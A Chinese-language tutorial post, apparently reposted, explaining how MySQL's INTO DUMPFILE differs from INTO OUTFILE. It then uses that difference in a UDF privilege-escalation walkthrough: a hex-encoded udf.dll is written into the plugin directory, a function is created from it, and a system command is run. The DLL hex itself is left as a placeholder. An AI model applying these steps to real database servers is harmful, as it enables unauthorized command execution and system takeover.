mysql dumpfile與outfile函數的區別

一直覺得兩個函數做用是相同的
 
通過簡單測試發現仍是有些區別的
 
以下表admin
 
mysql> select * from admin;
 
+-----+-----------+---------+
 
| uid | name      | pass    |
 
+----+------------+---------+
 
|  1 | admin      | baidusb |  
 
|  2 | root          | hacksb  |
|  3 | manage    | nimei    |
 
|  4 | boss         | helensb |
 
|  5 | guanli       | admin   |
 
|  6 | superuser  | G0Ood   |
 
+----+------------+---------+
 
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
 
Query OK,1 row affected (0.00 sec)
 
我是想將這些內容 導出到 一個txt文件,事實上是能夠完整導出每行記錄的.
這個很適合導庫
 
 
而into dump是不行的 它只能導出 一行數據!
 
 
若咱們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出後 就會被破壞
 
由於into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞
 
這時候咱們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理
 
 
如在無web腳本 執行 可是有mysql root 執行的環境下 咱們就能夠 經過
into dump 函數導入udf.dll進行提權
 
mysql> show variable like '%plugin%';
 
+----------------+------------------------------------------+
|Variable_name   | Value                                    |
+----------------+------------------------------------------+
| plugin_dir     |c:\mysql\mysql server 5.1\lib/plugin      |
+----------------+------------------------------------------+
 
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人建立過udf 若是有就能夠省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
 
一點小知識點:
 
如何獲取該udf.dll文件的16進制值(hex)?
咱們能夠本地搭建mysql環境 找個能夠用的udf.dll文件 執行下面操做
 
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
 
 
如何獲取該udf插件的內置 函數?
 
經過C32 等16進制 編輯器 或直接經過記事本 打開 看關鍵字 便可。mysql

相關文章
相關標籤/搜索